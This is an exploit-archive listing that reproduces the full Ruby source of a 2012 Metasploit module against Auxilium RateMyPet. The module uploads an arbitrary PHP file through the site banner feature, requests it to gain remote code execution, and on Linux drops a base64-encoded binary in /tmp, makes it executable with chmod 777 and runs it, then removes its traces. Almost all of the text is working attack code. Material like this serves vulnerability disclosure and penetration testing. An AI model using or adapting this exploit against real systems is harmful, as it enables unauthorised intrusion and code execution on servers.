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Auxilium RateMyPet Arbitrary File Upload

Auxilium RateMyPet Arbitrary File Upload
Posted Sep 25, 2012
Authored by sinn3r, DaOne | Site metasploit.com

This Metasploit module exploits a vulnerability found in Auxilium RateMyPet's. The site banner uploading feature can be abused to upload an arbitrary file to the web server, which is accessible in the 'banner' directory, thus allowing remote code execution.

tags | exploit, remote, web, arbitrary, code execution
advisories | OSVDB-85554
MD5 | c54aeab74b620d49edfe685af84c9397

Auxilium RateMyPet Arbitrary File Upload

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE

def initialize(info={})
super(update_info(info,
'Name' => "Auxilium RateMyPet Arbitrary File Upload Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in Auxilium RateMyPet's. The site
banner uploading feature can be abused to upload an arbitrary file to the web
server, which is accessible in the 'banner' directory, thus allowing remote code
execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'DaOne', #Vulnerability discovery
'sinn3r' #Metasploit
],
'References' =>
[
['OSVDB', '85554'],
['EDB', '21329']
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
},
'Platform' => ['linux', 'php'],
'Targets' =>
[
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
],
'Privileged' => false,
'DisclosureDate' => "Sep 14 2012",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base directory to the application', '/Auxiliumpetratepro/'])
], self.class)
end


def check
target_uri.path << '/' if target_uri.path[-1,1] != '/'
base = File.dirname("#{target_uri.path}.")

res = send_request_raw({'uri'=>"#{base}/admin/sitebanners/upload_banners.php"})
if res and res.body =~ /\<title\>Pet Rate Admin \- Banner Manager\<\/title\>/
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end


def get_write_exec_payload(fname, data)
p = Rex::Text.encode_base64(generate_payload_exe)
php = %Q|
<?php
$f = fopen("#{fname}", "wb");
fwrite($f, base64_decode("#{p}"));
fclose($f);
exec("chmod 777 #{fname}");
exec("#{fname}");
?>
|
php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
return php
end


def on_new_session(cli)
if cli.type == "meterpreter"
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
end

@clean_files.each do |f|
print_status("#{@peer} - Removing: #{f}")
begin
if cli.type == 'meterpreter'
cli.fs.file.rm(f)
else
cli.shell_command_token("rm #{f}")
end
rescue ::Exception => e
print_error("#{@peer} - Unable to remove #{f}: #{e.message}")
end
end
end


def upload_exec(base, php_fname, p)
data = Rex::MIME::Message.new
data.add_part('http://', nil, nil, "form-data; name=\"burl\"")
data.add_part('', nil, nil, "form-data; name=\"alt\"")
data.add_part(p, 'text/plain', nil, "form-data; name=\"userfile\"; filename=\"#{php_fname}\"")
data.add_part(' Upload', nil, nil, "form-data; name=\"submitok\"")

post_data = data.to_s
post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

print_status("#{@peer} - Uploading payload (#{p.length.to_s} bytes)...")
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{base}/admin/sitebanners/upload_banners.php",
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
})

if not res
print_error("#{@peer} - No response from host")
return
end

print_status("#{@peer} - Requesting '#{php_fname}'...")
res = send_request_raw({'uri'=>"#{base}/banners/#{php_fname}"})
if res and res.code == 404
print_error("#{@peer} - Upload unsuccessful: #{res.code.to_s}")
return
end

handler
end


def exploit
@peer = "#{rhost}:#{rport}"

target_uri.path << '/' if target_uri.path[-1,1] != '/'
base = File.dirname("#{target_uri.path}.")

php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"
@clean_files = [php_fname]

case target['Platform']
when 'php'
p = "<?php #{payload.encoded} ?>"
when 'linux'
bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
@clean_files << bin_name
bin = generate_payload_exe
p = get_write_exec_payload("/tmp/#{bin_name}", bin)
end

upload_exec(base, php_fname, p)
end
end
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